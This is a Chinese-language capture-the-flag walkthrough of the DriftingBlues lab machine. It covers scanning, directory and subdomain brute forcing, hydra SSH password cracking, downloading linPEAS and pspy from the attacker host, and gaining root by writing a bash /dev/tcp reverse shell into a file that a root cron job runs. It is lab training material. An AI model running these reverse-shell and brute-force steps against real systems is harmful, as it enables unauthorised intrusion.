文章目录
- 主机发现
- 端口扫描
- 目录扫描
- 爆破子域名
- 提权
- 总结
主机发现
使用nmap
扫描局域网内存活的主机,命令如下:
nmap -sP 192.168.56.0/24
- 192.168.56.1:主机IP;
- 192.168.56.100:DHCP服务器IP;
- 192.168.56.101:Kali IP;
- 192.168.56.106:靶机IP。
端口扫描
使用nmap
对靶机进行端口扫描,命令如下:
nmap -p- -sV -A 192.168.56.105 -oN scan.txt
-oN
:以txt文本格式输出nmap扫描结果。
可见这台靶机,开放了端口:22
(ssh,linux上的远程登录协议))、80
(http,web服务)。
- 通常情况,先对80端口的web服务进行渗透。
- 考虑到实际情况中,使用漏洞扫描器(nikto)有很大的风险,在以后的实验中不再使用漏扫工具。
目录扫描
使用dirsearch
进行目录扫描。命令如下:
dirsearch -u http://192.168.56.106 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
发现并没有有啥用的信息~,查看80端口上的网站源码。
发现一段经过base64编码后的字符串,拿去解码,得到/noteforkingfish.txt
这样一个路径。访问192.168.56.106/noteforkingfish.txt
Brainfuck/Ook! Obfuscation/Encoding对上述密文进行解密。
就是说让你用域名去访问这个网站,然后再网页上发现driftingblues.box
这个域名。
vim /etc/hosts # 修改host文件# 内容
192.168.56.106 driftingblues.boxsource /etc/hosts # 重新加载
爆破子域名
拿到域名之后就可以用wfuzz
爆破子域名
wfuzz -H 'HOST:FUZZ.driftingblues.box' -u 'http://192.168.56.106' -w <directory> --hw 570,53
570,53
是返回的word
数,--hw 570,53
是隐藏返回word为570和53的子域名爆破情况。
发现一个test
的子域名,此时需要将test.driftingblues.box
写入hosts文件,才能访问到该域名。
vim /etc/hosts # 修改host文件# 内容
192.168.56.106 test.driftingblues.boxsource /etc/hosts # 重新加载
访问test.driftingblues.box
,发现返回work in progress
,相当于网站正在建设…
但是不影响进行目录扫描。
dirsearch -u http://test.driftingblues.box -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
访问test.driftingblues.box/robots.txt
发现了http://test.driftingblues.box/ssh_cred.txt
可以访问,且发现ssh的密码,但是密码不全,密码最后缺少一个数字。需要爆破ssh
现在我们知道了密码就是1mw4ckyyucky[0-9]
,然后用户名就是sheryl or eric
。先把所有可能的密码保存到一个文件中。再使用hydra
爆破ssh
hydra -l eric -P <directory> -t 30 192.168.56.106 ssh -f -vV
-l
:用户名;
-P
:密码;必须为大写P
-t
:线程;
ssh
:协议名称,这里是ssh,hydra支持多种协议;
-f
:爆破成功就退出;
-vV
:输出详细信息。
ssh的用户名为eric
,密码为1mw4ckyyucky6
。
提权
ssh登录远程主机。
ssh eric@192.168.56.106 -P 1mw4ckyyucky6
进入/home
,查看有哪些用户,并进入eric
目录。
发现eric
目录下,并没有什么东西。
再搜索具备SUID权限的程序,命令如下:
find / -perm -u=s -type f 2>/dev/null
发现并没有特殊的文件。再查看定时任务,cat /etc/crontab
上传自动化提权脚本linPEAS,部署http服务,命令:
python3 -m http.server 80
在靶机上通过web服务下载linpeas脚本,命令:
wget http://192.168.56.101/Linpeas.sh
chmod +x linpeas.sh # 赋予脚本可执行的权限
./linpeas.sh # 执行脚本
这个脚本显示的东西属实有点多~
uname -a # 查看操作系统位数
使用同样的方法,往靶机上上传papy64
wget http://192.168.56.101/pspy64
chmod +x pspy64 # 赋予脚本可执行的权限
./pspy64 # 执行脚本
系统上有些定时任务并不是通过操作系统(linux,
/etc/crontab
)进行配置,而pspy
脚本会检测系统中运行的进程。
发现:系统隔一分钟就会执行下面几条命令:
/usr/bin/zip -r -0 /tmp/backup.zip /var/www/ # 将/var/www下的所有文件压缩到/tmp/bakup.zip文件中
/bin/sh /var/backups/backup.sh # 执行/var/backups/backup.sh
/bin/sh -c /bin/sh /var/backups/backup.sh
/usr/sbin/CRON -f # 以前台模式启动CRON任务调度服务。
/bin/chmod
sudo /tmp/emergency
zip
:-r
表示将指定的文件或目录及其子目录递归地压缩到一个压缩文件中,-0
表示覆盖已存在的压缩文件,并不需要用户确认;/usr
目录通常包含系统级别的应用程序和命令,而/usr/sbin
目录专门用于存放需要超级用户权限(root权限)才能执行的系统管理命令或服务。
查看/var/backups/backup.sh
注意:每一分钟执行baskup.sh
时,uid=0
说明是root用户执行这个脚本。
而且,sudo /tmp/emergency
命令是以root用户的权限去执行/tmp/emergency
,现在/tmp/emergency
并不存在,我们新建一个mp/emergency,里面放反弹shell,再赋予可执行权限,是不是就可以拿到root用户的shell了呢?
emergency
中写入以下内容:
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.101/443 0>&1
监听443端口,获取root用户的shell。
nc -nlvp 443
总结
渗透思路:
- 端口扫描,获取主机开放22、80端口;
- 对80端口,目录扫描;
- 查看网站源代码,发现base64编码的字符串,解码得到一个路径;
- 访问解码得到的路径,获得经过
0ok
编码的字符串,解码得到:主机ssh部分登录密码; hydra
爆破ssh服务,成功登录;pspy64
脚本实时监控系统进程,发现/var/backups/backup.sh
按规律执行;emergency
中写入反弹shell,系统自动执行,获取root shell。